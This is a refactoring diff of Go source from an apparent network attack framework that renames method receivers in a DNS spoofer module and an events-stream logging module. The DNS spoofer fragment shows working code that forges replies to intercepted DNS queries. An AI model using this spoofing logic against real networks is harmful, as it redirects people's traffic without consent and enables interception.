@ -256,48 +256,48 @@ func (s *DNSSpoofer) onPacket(pkt gopacket.Packet) {
|
||||||
}
|
}
|
||||||
|
|
||||||
eth := typeEth.(*layers.Ethernet)
|
eth := typeEth.(*layers.Ethernet)
|
||||||
if s.All || bytes.Equal(eth.DstMAC, s.Session.Interface.HW) {
|
if mod.All || bytes.Equal(eth.DstMAC, mod.Session.Interface.HW) {
|
||||||
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
|
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
|
||||||
if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
|
if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
|
||||||
udp := typeUDP.(*layers.UDP)
|
udp := typeUDP.(*layers.UDP)
|
||||||
for _, q := range dns.Questions {
|
for _, q := range dns.Questions {
|
||||||
qName := string(q.Name)
|
qName := string(q.Name)
|
||||||
if address := s.Hosts.Resolve(qName); address != nil {
|
if address := mod.Hosts.Resolve(qName); address != nil {
|
||||||
s.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC)
|
mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC)
|
||||||
break
|
break
|
||||||
} else {
|
} else {
|
||||||
s.Debug("skipping domain %s", qName)
|
mod.Debug("skipping domain %s", qName)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DNSSpoofer) Start() error {
|
func (mod *DNSSpoofer) Start() error {
|
||||||
if err := s.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return s.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
s.waitGroup.Add(1)
|
mod.waitGroup.Add(1)
|
||||||
defer s.waitGroup.Done()
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType())
|
src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType())
|
||||||
s.pktSourceChan = src.Packets()
|
mod.pktSourceChan = src.Packets()
|
||||||
for packet := range s.pktSourceChan {
|
for packet := range mod.pktSourceChan {
|
||||||
if !s.Running() {
|
if !mod.Running() {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
s.onPacket(packet)
|
mod.onPacket(packet)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DNSSpoofer) Stop() error {
|
func (mod *DNSSpoofer) Stop() error {
|
||||||
return s.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
s.pktSourceChan <- nil
|
mod.pktSourceChan <- nil
|
||||||
s.Handle.Close()
|
mod.Handle.Close()
|
||||||
s.waitGroup.Wait()
|
mod.waitGroup.Wait()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -38,7 +38,7 @@ type EventsStream struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewEventsStream(s *session.Session) *EventsStream {
|
func NewEventsStream(s *session.Session) *EventsStream {
|
||||||
stream := &EventsStream{
|
mod := &EventsStream{
|
||||||
SessionModule: session.NewSessionModule("events.stream", s),
|
SessionModule: session.NewSessionModule("events.stream", s),
|
||||||
output: os.Stdout,
|
output: os.Stdout,
|
||||||
quit: make(chan bool),
|
quit: make(chan bool),
|
||||||
|
@ -47,19 +47,19 @@ func NewEventsStream(s *session.Session) *EventsStream {
|
||||||
ignoreList: NewIgnoreList(),
|
ignoreList: NewIgnoreList(),
|
||||||
}
|
}
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.stream on", "",
|
mod.AddHandler(session.NewModuleHandler("events.stream on", "",
|
||||||
"Start events stream.",
|
"Start events stream.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return stream.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.stream off", "",
|
mod.AddHandler(session.NewModuleHandler("events.stream off", "",
|
||||||
"Stop events stream.",
|
"Stop events stream.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return stream.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.show LIMIT?", "events.show(\\s\\d+)?",
|
mod.AddHandler(session.NewModuleHandler("events.show LIMIT?", "events.show(\\s\\d+)?",
|
||||||
"Show events stream.",
|
"Show events stream.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
limit := -1
|
limit := -1
|
||||||
|
@ -67,10 +67,10 @@ func NewEventsStream(s *session.Session) *EventsStream {
|
||||||
arg := str.Trim(args[0])
|
arg := str.Trim(args[0])
|
||||||
limit, _ = strconv.Atoi(arg)
|
limit, _ = strconv.Atoi(arg)
|
||||||
}
|
}
|
||||||
return stream.Show(limit)
|
return mod.Show(limit)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.waitfor TAG TIMEOUT?", `events.waitfor ([^\s]+)([\s\d]*)`,
|
mod.AddHandler(session.NewModuleHandler("events.waitfor TAG TIMEOUT?", `events.waitfor ([^\s]+)([\s\d]*)`,
|
||||||
"Wait for an event with the given tag either forever or for a timeout in seconds.",
|
"Wait for an event with the given tag either forever or for a timeout in seconds.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
tag := args[0]
|
tag := args[0]
|
||||||
|
@ -85,163 +85,163 @@ func NewEventsStream(s *session.Session) *EventsStream {
|
||||||
timeout = n
|
timeout = n
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return stream.startWaitingFor(tag, timeout)
|
return mod.startWaitingFor(tag, timeout)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.ignore FILTER", "events.ignore ([^\\s]+)",
|
mod.AddHandler(session.NewModuleHandler("events.ignore FILTER", "events.ignore ([^\\s]+)",
|
||||||
"Events with an identifier matching this filter will not be shown (use multiple times to add more filters).",
|
"Events with an identifier matching this filter will not be shown (use multiple times to add more filters).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return stream.ignoreList.Add(args[0])
|
return mod.ignoreList.Add(args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.include FILTER", "events.include ([^\\s]+)",
|
mod.AddHandler(session.NewModuleHandler("events.include FILTER", "events.include ([^\\s]+)",
|
||||||
"Used to remove filters passed with the events.ignore command.",
|
"Used to remove filters passed with the events.ignore command.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return stream.ignoreList.Remove(args[0])
|
return mod.ignoreList.Remove(args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.filters", "",
|
mod.AddHandler(session.NewModuleHandler("events.filters", "",
|
||||||
"Print the list of filters used to ignore events.",
|
"Print the list of filters used to ignore events.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if stream.ignoreList.Empty() {
|
if mod.ignoreList.Empty() {
|
||||||
fmt.Printf("Ignore filters list is empty.\n")
|
fmt.Printf("Ignore filters list is empty.\n")
|
||||||
} else {
|
} else {
|
||||||
stream.ignoreList.RLock()
|
mod.ignoreList.RLock()
|
||||||
defer stream.ignoreList.RUnlock()
|
defer mod.ignoreList.RUnlock()
|
||||||
|
|
||||||
for _, filter := range stream.ignoreList.Filters() {
|
for _, filter := range mod.ignoreList.Filters() {
|
||||||
fmt.Printf(" '%s'\n", string(filter))
|
fmt.Printf(" '%s'\n", string(filter))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddHandler(session.NewModuleHandler("events.clear", "",
|
mod.AddHandler(session.NewModuleHandler("events.clear", "",
|
||||||
"Clear events stream.",
|
"Clear events stream.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
stream.Session.Events.Clear()
|
mod.Session.Events.Clear()
|
||||||
return nil
|
return nil
|
||||||
}))
|
}))
|
||||||
|
|
||||||
stream.AddParam(session.NewStringParameter("events.stream.output",
|
mod.AddParam(session.NewStringParameter("events.stream.output",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If not empty, events will be written to this file instead of the standard output."))
|
"If not empty, events will be written to this file instead of the standard output."))
|
||||||
|
|
||||||
stream.AddParam(session.NewBoolParameter("events.stream.output.rotate",
|
mod.AddParam(session.NewBoolParameter("events.stream.output.rotate",
|
||||||
"true",
|
"true",
|
||||||
"If true will enable log rotation."))
|
"If true will enable log rotation."))
|
||||||
|
|
||||||
stream.AddParam(session.NewBoolParameter("events.stream.output.rotate.compress",
|
mod.AddParam(session.NewBoolParameter("events.stream.output.rotate.compress",
|
||||||
"true",
|
"true",
|
||||||
"If true will enable log rotation compression."))
|
"If true will enable log rotation compression."))
|
||||||
|
|
||||||
stream.AddParam(session.NewStringParameter("events.stream.output.rotate.how",
|
mod.AddParam(session.NewStringParameter("events.stream.output.rotate.how",
|
||||||
"size",
|
"size",
|
||||||
"(size|time)",
|
"(size|time)",
|
||||||
"Rotate by 'size' or 'time'."))
|
"Rotate by 'size' or 'time'."))
|
||||||
|
|
||||||
stream.AddParam(session.NewStringParameter("events.stream.output.rotate.format",
|
mod.AddParam(session.NewStringParameter("events.stream.output.rotate.format",
|
||||||
"2006-01-02 15:04:05",
|
"2006-01-02 15:04:05",
|
||||||
"",
|
"",
|
||||||
"Datetime format to use for log rotation file names."))
|
"Datetime format to use for log rotation file names."))
|
||||||
|
|
||||||
stream.AddParam(session.NewDecimalParameter("events.stream.output.rotate.when",
|
mod.AddParam(session.NewDecimalParameter("events.stream.output.rotate.when",
|
||||||
"10",
|
"10",
|
||||||
"File size (in MB) or time duration (in seconds) for log rotation."))
|
"File size (in MB) or time duration (in seconds) for log rotation."))
|
||||||
|
|
||||||
stream.AddParam(session.NewBoolParameter("events.stream.http.request.dump",
|
mod.AddParam(session.NewBoolParameter("events.stream.http.request.dump",
|
||||||
"false",
|
"false",
|
||||||
"If true all HTTP requests will be dumped."))
|
"If true all HTTP requests will be dumped."))
|
||||||
|
|
||||||
stream.AddParam(session.NewBoolParameter("events.stream.http.response.dump",
|
mod.AddParam(session.NewBoolParameter("events.stream.http.response.dump",
|
||||||
"false",
|
"false",
|
||||||
"If true all HTTP responses will be dumped."))
|
"If true all HTTP responses will be dumped."))
|
||||||
|
|
||||||
return stream
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s EventsStream) Name() string {
|
func (mod EventsStream) Name() string {
|
||||||
return "events.stream"
|
return "events.stream"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s EventsStream) Description() string {
|
func (mod EventsStream) Description() string {
|
||||||
return "Print events as a continuous stream."
|
return "Print events as a continuous stream."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s EventsStream) Author() string {
|
func (mod EventsStream) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) Configure() (err error) {
|
func (mod *EventsStream) Configure() (err error) {
|
||||||
var output string
|
var output string
|
||||||
|
|
||||||
if err, output = s.StringParam("events.stream.output"); err == nil {
|
if err, output = mod.StringParam("events.stream.output"); err == nil {
|
||||||
if output == "" {
|
if output == "" {
|
||||||
s.output = os.Stdout
|
mod.output = os.Stdout
|
||||||
} else if s.outputName, err = fs.Expand(output); err == nil {
|
} else if mod.outputName, err = fs.Expand(output); err == nil {
|
||||||
s.output, err = os.OpenFile(s.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
mod.output, err = os.OpenFile(mod.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, s.rotation.Enabled = s.BoolParam("events.stream.output.rotate"); err != nil {
|
if err, mod.rotation.Enabled = mod.BoolParam("events.stream.output.rotate"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, s.rotation.Compress = s.BoolParam("events.stream.output.rotate.compress"); err != nil {
|
} else if err, mod.rotation.Compress = mod.BoolParam("events.stream.output.rotate.compress"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, s.rotation.Format = s.StringParam("events.stream.output.rotate.format"); err != nil {
|
} else if err, mod.rotation.Format = mod.StringParam("events.stream.output.rotate.format"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, s.rotation.How = s.StringParam("events.stream.output.rotate.how"); err != nil {
|
} else if err, mod.rotation.How = mod.StringParam("events.stream.output.rotate.how"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, s.rotation.Period = s.DecParam("events.stream.output.rotate.when"); err != nil {
|
} else if err, mod.rotation.Period = mod.DecParam("events.stream.output.rotate.when"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, s.dumpHttpReqs = s.BoolParam("events.stream.http.request.dump"); err != nil {
|
if err, mod.dumpHttpReqs = mod.BoolParam("events.stream.http.request.dump"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, s.dumpHttpResp = s.BoolParam("events.stream.http.response.dump"); err != nil {
|
} else if err, mod.dumpHttpResp = mod.BoolParam("events.stream.http.response.dump"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) Start() error {
|
func (mod *EventsStream) Start() error {
|
||||||
if err := s.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return s.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
s.eventListener = s.Session.Events.Listen()
|
mod.eventListener = mod.Session.Events.Listen()
|
||||||
defer s.Session.Events.Unlisten(s.eventListener)
|
defer mod.Session.Events.Unlisten(mod.eventListener)
|
||||||
|
|
||||||
for {
|
for {
|
||||||
var e session.Event
|
var e session.Event
|
||||||
select {
|
select {
|
||||||
case e = <-s.eventListener:
|
case e = <-mod.eventListener:
|
||||||
if e.Tag == s.waitFor {
|
if e.Tag == mod.waitFor {
|
||||||
s.waitFor = ""
|
mod.waitFor = ""
|
||||||
s.waitChan <- &e
|
mod.waitChan <- &e
|
||||||
}
|
}
|
||||||
|
|
||||||
if !s.ignoreList.Ignored(e) {
|
if !mod.ignoreList.Ignored(e) {
|
||||||
s.View(e, true)
|
mod.View(e, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
case <-s.quit:
|
case <-mod.quit:
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) Show(limit int) error {
|
func (mod *EventsStream) Show(limit int) error {
|
||||||
events := s.Session.Events.Sorted()
|
events := mod.Session.Events.Sorted()
|
||||||
num := len(events)
|
num := len(events)
|
||||||
|
|
||||||
selected := []session.Event{}
|
selected := []session.Event{}
|
||||||
for i := range events {
|
for i := range events {
|
||||||
e := events[num-1-i]
|
e := events[num-1-i]
|
||||||
if !s.ignoreList.Ignored(e) {
|
if !mod.ignoreList.Ignored(e) {
|
||||||
selected = append(selected, e)
|
selected = append(selected, e)
|
||||||
if len(selected) == limit {
|
if len(selected) == limit {
|
||||||
break
|
break
|
||||||
|
@ -252,43 +252,43 @@ func (s *EventsStream) Show(limit int) error {
|
||||||
if numSelected := len(selected); numSelected > 0 {
|
if numSelected := len(selected); numSelected > 0 {
|
||||||
fmt.Println()
|
fmt.Println()
|
||||||
for i := range selected {
|
for i := range selected {
|
||||||
s.View(selected[numSelected-1-i], false)
|
mod.View(selected[numSelected-1-i], false)
|
||||||
}
|
}
|
||||||
s.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) startWaitingFor(tag string, timeout int) error {
|
func (mod *EventsStream) startWaitingFor(tag string, timeout int) error {
|
||||||
if timeout == 0 {
|
if timeout == 0 {
|
||||||
s.Info("waiting for event %s ...", tui.Green(tag))
|
mod.Info("waiting for event %s ...", tui.Green(tag))
|
||||||
} else {
|
} else {
|
||||||
s.Info("waiting for event %s for %d seconds ...", tui.Green(tag), timeout)
|
mod.Info("waiting for event %s for %d seconds ...", tui.Green(tag), timeout)
|
||||||
go func() {
|
go func() {
|
||||||
time.Sleep(time.Duration(timeout) * time.Second)
|
time.Sleep(time.Duration(timeout) * time.Second)
|
||||||
s.waitFor = ""
|
mod.waitFor = ""
|
||||||
s.waitChan <- nil
|
mod.waitChan <- nil
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
s.waitFor = tag
|
mod.waitFor = tag
|
||||||
event := <-s.waitChan
|
event := <-mod.waitChan
|
||||||
|
|
||||||
if event == nil {
|
if event == nil {
|
||||||
return fmt.Errorf("'events.waitFor %s %d' timed out.", tag, timeout)
|
return fmt.Errorf("'events.waitFor %s %d' timed out.", tag, timeout)
|
||||||
} else {
|
} else {
|
||||||
s.Debug("got event: %v", event)
|
mod.Debug("got event: %v", event)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) Stop() error {
|
func (mod *EventsStream) Stop() error {
|
||||||
return s.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
s.quit <- true
|
mod.quit <- true
|
||||||
if s.output != os.Stdout {
|
if mod.output != os.Stdout {
|
||||||
s.output.Close()
|
mod.output.Close()
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -20,15 +20,15 @@ import (
|
||||||
|
|
||||||
const eventTimeFormat = "15:04:05"
|
const eventTimeFormat = "15:04:05"
|
||||||
|
|
||||||
func (s *EventsStream) viewLogEvent(e session.Event) {
|
func (mod *EventsStream) viewLogEvent(e session.Event) {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
e.Label(),
|
e.Label(),
|
||||||
e.Data.(session.LogMessage).Message)
|
e.Data.(session.LogMessage).Message)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewEndpointEvent(e session.Event) {
|
func (mod *EventsStream) viewEndpointEvent(e session.Event) {
|
||||||
t := e.Data.(*network.Endpoint)
|
t := e.Data.(*network.Endpoint)
|
||||||
vend := ""
|
vend := ""
|
||||||
name := ""
|
name := ""
|
||||||
|
@ -44,7 +44,7 @@ func (s *EventsStream) viewEndpointEvent(e session.Event) {
|
||||||
}
|
}
|
||||||
|
|
||||||
if e.Tag == "endpoint.new" {
|
if e.Tag == "endpoint.new" {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] endpoint %s%s detected as %s%s.\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] endpoint %s%s detected as %s%s.\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
tui.Bold(t.IpAddress),
|
tui.Bold(t.IpAddress),
|
||||||
|
@ -52,7 +52,7 @@ func (s *EventsStream) viewEndpointEvent(e session.Event) {
|
||||||
tui.Green(t.HwAddress),
|
tui.Green(t.HwAddress),
|
||||||
tui.Dim(vend))
|
tui.Dim(vend))
|
||||||
} else if e.Tag == "endpoint.lost" {
|
} else if e.Tag == "endpoint.lost" {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] endpoint %s%s %s%s lost.\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] endpoint %s%s %s%s lost.\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
tui.Red(t.IpAddress),
|
tui.Red(t.IpAddress),
|
||||||
|
@ -60,82 +60,82 @@ func (s *EventsStream) viewEndpointEvent(e session.Event) {
|
||||||
tui.Green(t.HwAddress),
|
tui.Green(t.HwAddress),
|
||||||
tui.Dim(vend))
|
tui.Dim(vend))
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
t.String())
|
t.String())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewModuleEvent(e session.Event) {
|
func (mod *EventsStream) viewModuleEvent(e session.Event) {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
e.Data)
|
e.Data)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewSnifferEvent(e session.Event) {
|
func (mod *EventsStream) viewSnifferEvent(e session.Event) {
|
||||||
if strings.HasPrefix(e.Tag, "net.sniff.http.") {
|
if strings.HasPrefix(e.Tag, "net.sniff.http.") {
|
||||||
s.viewHttpEvent(e)
|
mod.viewHttpEvent(e)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
e.Data.(net_sniff.SnifferEvent).Message)
|
e.Data.(net_sniff.SnifferEvent).Message)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewSynScanEvent(e session.Event) {
|
func (mod *EventsStream) viewSynScanEvent(e session.Event) {
|
||||||
se := e.Data.(syn_scan.SynScanEvent)
|
se := e.Data.(syn_scan.SynScanEvent)
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] found open port %d for %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] found open port %d for %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
se.Port,
|
se.Port,
|
||||||
tui.Bold(se.Address))
|
tui.Bold(se.Address))
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewUpdateEvent(e session.Event) {
|
func (mod *EventsStream) viewUpdateEvent(e session.Event) {
|
||||||
update := e.Data.(*github.RepositoryRelease)
|
update := e.Data.(*github.RepositoryRelease)
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] an update to version %s is available at %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] an update to version %s is available at %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Bold(tui.Yellow(e.Tag)),
|
tui.Bold(tui.Yellow(e.Tag)),
|
||||||
tui.Bold(*update.TagName),
|
tui.Bold(*update.TagName),
|
||||||
*update.HTMLURL)
|
*update.HTMLURL)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) doRotation() {
|
func (mod *EventsStream) doRotation() {
|
||||||
if s.output == os.Stdout {
|
if mod.output == os.Stdout {
|
||||||
return
|
return
|
||||||
} else if !s.rotation.Enabled {
|
} else if !mod.rotation.Enabled {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
s.rotation.Lock()
|
mod.rotation.Lock()
|
||||||
defer s.rotation.Unlock()
|
defer mod.rotation.Unlock()
|
||||||
|
|
||||||
doRotate := false
|
doRotate := false
|
||||||
if info, err := s.output.Stat(); err == nil {
|
if info, err := mod.output.Stat(); err == nil {
|
||||||
if s.rotation.How == "size" {
|
if mod.rotation.How == "size" {
|
||||||
doRotate = float64(info.Size()) >= float64(s.rotation.Period*1024*1024)
|
doRotate = float64(info.Size()) >= float64(mod.rotation.Period*1024*1024)
|
||||||
} else if s.rotation.How == "time" {
|
} else if mod.rotation.How == "time" {
|
||||||
doRotate = info.ModTime().Unix()%int64(s.rotation.Period) == 0
|
doRotate = info.ModTime().Unix()%int64(mod.rotation.Period) == 0
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if doRotate {
|
if doRotate {
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
name := fmt.Sprintf("%s-%s", s.outputName, time.Now().Format(s.rotation.Format))
|
name := fmt.Sprintf("%s-%s", mod.outputName, time.Now().Format(mod.rotation.Format))
|
||||||
|
|
||||||
if err := s.output.Close(); err != nil {
|
if err := mod.output.Close(); err != nil {
|
||||||
fmt.Printf("could not close log for rotation: %s\n", err)
|
fmt.Printf("could not close log for rotation: %s\n", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := os.Rename(s.outputName, name); err != nil {
|
if err := os.Rename(mod.outputName, name); err != nil {
|
||||||
fmt.Printf("could not rename %s to %s: %s\n", s.outputName, name, err)
|
fmt.Printf("could not rename %s to %s: %s\n", mod.outputName, name, err)
|
||||||
} else if s.rotation.Compress {
|
} else if mod.rotation.Compress {
|
||||||
zipName := fmt.Sprintf("%s.zip", name)
|
zipName := fmt.Sprintf("%s.zip", name)
|
||||||
if err = zip.Files(zipName, []string{name}); err != nil {
|
if err = zip.Files(zipName, []string{name}); err != nil {
|
||||||
fmt.Printf("error creating %s: %s", zipName, err)
|
fmt.Printf("error creating %s: %s", zipName, err)
|
||||||
|
@ -144,37 +144,37 @@ func (s *EventsStream) doRotation() {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
s.output, err = os.OpenFile(s.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
mod.output, err = os.OpenFile(mod.outputName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("could not open %s: %s", s.outputName, err)
|
fmt.Printf("could not open %s: %s", mod.outputName, err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) View(e session.Event, refresh bool) {
|
func (mod *EventsStream) View(e session.Event, refresh bool) {
|
||||||
if e.Tag == "sys.log" {
|
if e.Tag == "sys.log" {
|
||||||
s.viewLogEvent(e)
|
mod.viewLogEvent(e)
|
||||||
} else if strings.HasPrefix(e.Tag, "endpoint.") {
|
} else if strings.HasPrefix(e.Tag, "endpoint.") {
|
||||||
s.viewEndpointEvent(e)
|
mod.viewEndpointEvent(e)
|
||||||
} else if strings.HasPrefix(e.Tag, "wifi.") {
|
} else if strings.HasPrefix(e.Tag, "wifi.") {
|
||||||
s.viewWiFiEvent(e)
|
mod.viewWiFiEvent(e)
|
||||||
} else if strings.HasPrefix(e.Tag, "ble.") {
|
} else if strings.HasPrefix(e.Tag, "ble.") {
|
||||||
s.viewBLEEvent(e)
|
mod.viewBLEEvent(e)
|
||||||
} else if strings.HasPrefix(e.Tag, "mod.") {
|
} else if strings.HasPrefix(e.Tag, "mod.") {
|
||||||
s.viewModuleEvent(e)
|
mod.viewModuleEvent(e)
|
||||||
} else if strings.HasPrefix(e.Tag, "net.sniff.") {
|
} else if strings.HasPrefix(e.Tag, "net.sniff.") {
|
||||||
s.viewSnifferEvent(e)
|
mod.viewSnifferEvent(e)
|
||||||
} else if e.Tag == "syn.scan" {
|
} else if e.Tag == "syn.scan" {
|
||||||
s.viewSynScanEvent(e)
|
mod.viewSynScanEvent(e)
|
||||||
} else if e.Tag == "update.available" {
|
} else if e.Tag == "update.available" {
|
||||||
s.viewUpdateEvent(e)
|
mod.viewUpdateEvent(e)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %v\n", e.Time.Format(eventTimeFormat), tui.Green(e.Tag), e)
|
fmt.Fprintf(mod.output, "[%s] [%s] %v\n", e.Time.Format(eventTimeFormat), tui.Green(e.Tag), e)
|
||||||
}
|
}
|
||||||
|
|
||||||
if refresh && s.output == os.Stdout {
|
if refresh && mod.output == os.Stdout {
|
||||||
s.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
}
|
}
|
||||||
|
|
||||||
s.doRotation()
|
mod.doRotation()
|
||||||
}
|
}
|
||||||
|
|
|
@ -12,7 +12,7 @@ import (
|
||||||
"github.com/evilsocket/islazy/tui"
|
"github.com/evilsocket/islazy/tui"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (s *EventsStream) viewBLEEvent(e session.Event) {
|
func (mod *EventsStream) viewBLEEvent(e session.Event) {
|
||||||
if e.Tag == "ble.device.new" {
|
if e.Tag == "ble.device.new" {
|
||||||
dev := e.Data.(*network.BLEDevice)
|
dev := e.Data.(*network.BLEDevice)
|
||||||
name := dev.Device.Name()
|
name := dev.Device.Name()
|
